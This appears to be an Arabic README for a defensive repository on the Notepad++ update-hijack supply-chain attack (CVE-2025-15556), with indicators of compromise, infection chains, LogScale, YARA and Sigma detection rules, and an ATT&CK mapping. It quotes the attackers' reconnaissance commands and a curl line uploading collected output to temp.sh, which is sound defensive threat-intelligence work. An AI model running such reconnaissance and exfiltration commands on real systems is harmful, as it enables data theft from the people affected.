
مؤشرات الاختراق (IoCs) وقواعد الكشف لهجوم سلسلة التوريد على Notepad++ (CVE-2025-15556) — Lotus Blossom APT، يونيو–ديسمبر 2025. يتضمن استعلامات Falcon LogScale وقواعد YARA/Sigma وتعيين MITRE ATT&CK.
CVE-2025-15556 | Lotus Blossom / Raspberry Typhoon | يونيو – ديسمبر 2025
يحتوي هذا المستودع على مجموعة شاملة وموحّدة من مؤشرات الاختراق (IoCs) المتعلقة بـهجوم سلسلة توريد Notepad++ الذي تم الكشف عنه في 2 فبراير 2026.
بين يونيو وديسمبر 2025، قامت جهة تهديد مدعومة من الدولة الصينية باختراق البنية التحتية للاستضافة الخاصة بـ Notepad++، واختطفت آلية التحديث المدمجة (WinGUp) لتسليم مثبّتات معدّلة بشكل انتقائي إلى مستخدمين مستهدفين. استغل الهجوم غياب التحقق من التوقيعات الرقمية في المحدِّث (قبل الإصدار 8.8.9)، مما مكّن من توزيع أبواب خلفية مخصصة، وCobalt Strike Beacons، وحمولات Metasploit.
حددت Kaspersky GReAT ثلاث سلاسل إصابة متميزة، يتم تدويرها شهريًا تقريبًا لتجنب الاكتشاف:
GUP.exe → update.exe (NSIS) → ProShow.exe (legitimate) → exploit via "load" file
→ Metasploit downloader → Cobalt Strike Beacon
whoami && tasklist → يتم تسريبها عبر temp.sh%appdata%\ProShow\GUP.exe → update.exe (NSIS) → script.exe (Lua interpreter) → alien.ini (compiled Lua)
→ shellcode via EnumWindowStationsW → Metasploit downloader → Cobalt Strike Beacon
whoami && tasklist && systeminfo && netstat -ano%appdata%\Adobe\Scripts\GUP.exe → update.exe (NSIS) → BluetoothService.exe (legitimate) → log.dll (sideloaded)
→ decrypts "BluetoothService" shellcode → Chrysalis backdoor
%appdata%\Bluetooth\C:\ProgramData\USOShared\ ┌─────────────────────────────────────────────────────────┐
│ COMPROMISE TIMELINE │
├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
│ Jul 25 │ Aug 25 │ Sep 25 │ Oct 25 │ Nov 25 │Dec 25│
├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
Chain #1 (ProShow) │████████████████████ │
Chain #2 (Lua) │ █████████████████████████████ │
Chain #3 (DLL SL) │ ██████████████ │
Infra access │████████████████████████████████████████████████████████│
└────────────────────────────────────────────────────────┘
| الملف | الوصف |
|---|---|
notepadpp_supply_chain_iocs.csv | مجموعة بيانات IoC كاملة (105 مؤشرات) مع خرائط MITRE ATT&CK |
سلوكي — غير معتمد على مؤشرات محددة، الأعلى قيمة:
gup.exe يُطلق أي عملية فرعية أخرى غير مثبّت Notepad++ الشرعي الموقّعgup.exe يتصل بنطاقات/عناوين IP أخرى غير notepad-plus-plus.org, github.com, release-assets.githubusercontent.com%appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\%localappdata%\Temp\ns.tmp\ (بيئة تشغيل NSIS — موجودة في جميع السلاسل)شبكي — ثقة عالية:
cdncheck.it.com, safe-dns.it.com, self-dns.it.com, api.skycloudcenter.com, api.wiresguard.comtemp.sh (51.91.79.17) — خاصة مع رفع الملفات عبر curltemp.sh مضمّنة في ترويسة User-Agent45.76.155.202, 45.32.144.255, 95.179.213.0, 45.77.31.210أوامر الاستطلاع (بعد الاختراق):
cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "[email protected]" -s https://temp.sh/upload
#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])
#event_simpleName=/(ProcessRollup2|NetworkConnectIP4|DnsRequest)/ event_platform=Win
| case {
// Malicious IPs
RemoteAddressIP4=/(95\.179\.213\.0|61\.4\.102\.97|59\.110\.7\.32|124\.222\.137\.114|45\.76\.155\.202|45\.32\.144\.255|45\.77\.31\.210)/
| iocType := "Malicious IP" | iocValue := RemoteAddressIP4 | riskScore := "HIGH";
// Malicious Domains
DomainName=/(api\.skycloudcenter\.com|api\.wiresguard\.com|cdncheck\.it\.com|safe-dns\.it\.com|self-dns\.it\.com|temp\.sh)/i
| iocType := "Malicious Domain" | iocValue := DomainName | riskScore := "HIGH";
// Suspicious filenames
ImageFileName=/\\(BluetoothService|admin|system|loader1|loader2|s047t5g|ConsoleApplication2|3yzr31vk|uffhxpSy)\.exe$/i
| iocType := "Suspicious Filename" | iocValue := ImageFileName | riskScore := "MEDIUM";
// Suspicious DLLs
ImageFileName=/\\(log\.dll|libtcc\.dll)$/i
| iocType := "Suspicious DLL" | iocValue := ImageFileName | riskScore := "MEDIUM";
// Chain-specific artifacts
ImageFileName=/\\(alien\.ini|load)$/i
| iocType := "Chain Artifact" | iocValue := ImageFileName | riskScore := "HIGH";
* | iocType := null;
}
| iocType=*
| ImageFileName=/\\(?<FileName>[^\\]+)$/
| table([riskScore, iocType, iocValue, @timestamp, aid, ComputerName, FileName, ImageFileName, CommandLine, SHA256HashData, RemoteAddressIP4, DomainName], limit=5000)
#event_simpleName=DirectoryCreate event_platform=Win
| FilePath=/\\ns\.tmp$/i
| FilePath=/\\Temp\\ns\.tmp$/i
| groupBy([aid, ComputerName, FilePath, ContextTimeStamp], limit=5000)
rule Notepadpp_SupplyChain_MaliciousUpdater {
meta:
description = "Detects malicious NSIS installers from Notepad++ supply chain attack"
author = "Renato Z3r0 ed i miei sorcini"
date = "2026-02"
reference = "https://securelist.com/notepad-supply-chain-attack/118708/"
tlp = "WHITE"
strings:
$nsis = "Nullsoft.NSIS" ascii
$recon1 = "whoami" ascii nocase
$recon2 = "tasklist" ascii nocase
$recon3 = "systeminfo" ascii nocase
$recon4 = "netstat -ano" ascii nocase
$exfil = "temp.sh/upload" ascii nocase
$curl = "curl" ascii nocase
$dir1 = "\\ProShow\\" ascii nocase
$dir2 = "\\Adobe\\Scripts\\" ascii nocase
$dir3 = "\\Bluetooth\\" ascii nocase
condition:
uint16(0) == 0x5A4D and
$nsis and
(2 of ($recon*) or $exfil or ($curl and 1 of ($recon*))) and
1 of ($dir*)
}
title: Notepad++ GUP.exe Suspicious Child Process
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects GUP.exe (Notepad++ updater) spawning suspicious child processes indicative of supply chain compromise
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.initial_access
- attack.t1195.002
- cve.2025.15556
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\gup.exe'
filter_legitimate:
Image|endswith:
- '\npp.Installer.x64.exe'
- '\npp.Installer.exe'
condition: selection_parent and not filter_legitimate
falsepositives:
- Legitimate Notepad++ installers with non-standard naming
level: high
title: Reconnaissance Data Exfiltration via temp.sh
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Detects system reconnaissance followed by data upload to temp.sh, as observed in Notepad++ supply chain attack
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
tags:
- attack.exfiltration
- attack.t1567
- attack.discovery
- attack.t1082
logsource:
category: process_creation
product: windows
detection:
selection_curl:
CommandLine|contains:
- 'temp.sh/upload'
- 'temp.sh'
Image|endswith: '\curl.exe'
condition: selection_curl
falsepositives:
- Legitimate use of temp.sh file sharing service (rare in corporate environments)
level: high
title: Notepad++ Supply Chain C2 Domain Resolution
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Detects DNS resolution of C2 domains associated with the Notepad++ supply chain attack
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.command_and_control
- attack.t1071.001
logsource:
category: dns_query
product: windows
detection:
selection:
QueryName|endswith:
- 'cdncheck.it.com'
- 'safe-dns.it.com'
- 'self-dns.it.com'
- 'api.skycloudcenter.com'
- 'api.wiresguard.com'
condition: selection
falsepositives:
- Very unlikely in corporate environments
level: critical
gup.exe التي تُطلق عمليات فرعية غير متوقعة بين يونيو وديسمبر 2025%appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\)| التاريخ | التغيير |
|---|---|
| 2026-02-09 | الإصدار الأول — 105 مؤشرات IoCs مجمّعة من Kaspersky وRapid7 وCrowdStrike وTenable |
هذا المستودع مقدم بموجب رخصة MIT. يتم تجميع مؤشرات الاختراق من مصادر عامة لأغراض دفاعية فقط.
المساهمات مرحّب بها. إذا كانت لديك مؤشرات IoCs إضافية أو قواعد كشف أو تصحيحات:
إخلاء مسؤولية: هذا المستودع مخصص للأغراض الدفاعية للأمن السيبراني فقط. يتم توفير مؤشرات الاختراق وقواعد الكشف كما هي لمساعدة المؤسسات في تقييم مدى تعرّضها لهذا الاختراق في سلسلة التوريد.
| CVE | CVE-2025-15556 — تنزيل كود دون التحقق من السلامة |
| جهة التهديد | Lotus Blossom (Bilbug, Raspberry Typhoon, Thrip) / Zirconium (Violet Typhoon) |
| فترة النشاط | يونيو 2025 – 2 ديسمبر 2025 |
| ناقل الهجوم | اختراق سلسلة التوريد عبر محدِّث WinGUp التلقائي |
| الأهداف | القطاع الحكومي، الاتصالات، الخدمات المالية، مزودو تكنولوجيا المعلومات (الفلبين، فيتنام، السلفادور، أستراليا، شرق آسيا) |
| البرمجيات الخبيثة | الباب الخلفي Chrysalis (مخصص)، Cobalt Strike Beacon، Metasploit Meterpreter |
| تم التصحيح في | Notepad++ v8.8.9+ (التحقق من الشهادة) / v8.9.1+ (التحقق من XMLDSig) |
| العمود | الوصف |
|---|
ioc_type | النوع: ip, domain, url, sha1, sha256, filepath, filename, useragent, behavior, cve, attribution, compromise_window |
ioc_value | قيمة المؤشر |
chain | سلسلة الإصابة (1, 2, 3, 1/2, 2/3, all, n/a) |
context | وصف لما يمثله مؤشر الاختراق |
source | مصدر الاستخبارات (Kaspersky, Rapid7, CrowdStrike, Tenable, Kevin Beaumont) |
risk | درجة الخطورة (CRITICAL, HIGH, MEDIUM, LOW, INFO) |
mitre_technique | معرف تقنية MITRE ATT&CK |
| التكتيك | التقنية | المعرّف | الاستخدام في هذه الحملة |
|---|
| الوصول الأولي | اختراق سلسلة التوريد: اختراق سلسلة توريد البرمجيات | T1195.002 | اختطاف آلية تحديث WinGUp |
| التنفيذ | مفسّر الأوامر والبرمجة النصية: Windows Command Shell | T1059.003 | الاستطلاع عبر cmd.exe |
| التنفيذ | مفسّر الأوامر والبرمجة النصية: Python/Lua | T1059.006 | مفسّر Lua في السلسلة #2 |
| التنفيذ | استغلال التنفيذ لدى العميل | T1203 | ثغرة ProShow في السلسلة #1 |
| التنفيذ | واجهة برمجة التطبيقات الأصلية | T1106 | EnumWindowStationsW لتنفيذ shellcode |
| الثبات | اختطاف مسار التنفيذ: التحميل الجانبي لـ DLL | T1574.002 | تحميل log.dll الجانبي في السلسلة #3 |
| المراوغة الدفاعية | ملفات أو معلومات مبهمة | T1027 | shellcode مشفّر، مفتاح XOR "CRAZY" |
| المراوغة الدفاعية | التمويه: مطابقة اسم شرعي | T1036.005 | BluetoothService.exe, update.exe, AutoUpdater.exe |
| الاكتشاف | اكتشاف معلومات النظام | T1082 | whoami, systeminfo, tasklist, netstat |
| الجمع | تخزين البيانات: تخزين بيانات محلي | T1074.001 | حفظ مخرجات الاستطلاع في ملفات .txt |
| القيادة والتحكم | بروتوكول طبقة التطبيقات: بروتوكولات الويب | T1071.001 | اتصال C2 عبر HTTPS باستخدام Cobalt Strike وChrysalis |
| القيادة والتحكم | قناة مشفّرة | T1573 | تكوين مشفّر لـ CS Beacon |
| القيادة والتحكم | نقل الأدوات إلى الداخل | T1105 | أداة تنزيل Metasploit تجلب CS Beacon |
| التسريب | التسريب عبر خدمة ويب | T1567 | الرفع إلى temp.sh |
| المصدر | الرابط |
|---|
| Kaspersky GReAT — سلاسل تنفيذ غير ملحوظة ومؤشرات IoCs جديدة | securelist.com |
| Rapid7 — الباب الخلفي Chrysalis: غوص في مجموعة أدوات Lotus Blossom | rapid7.com |
| الإفصاح الرسمي من Notepad++ — تحديث معلومات حادثة الاختراق | notepad-plus-plus.org |
| Kevin Beaumont — الإفصاح الأولي والإسناد | DoublePulsar |
| Tenable — الأسئلة الشائعة حول اختراق سلسلة توريد Notepad++ | tenable.com |
| Orca Security — تحليل اختطاف التحديث والمعالجة | orca.security |
| CSO Online — هجوم سلسلة توريد متطور من APT صيني | csoonline.com |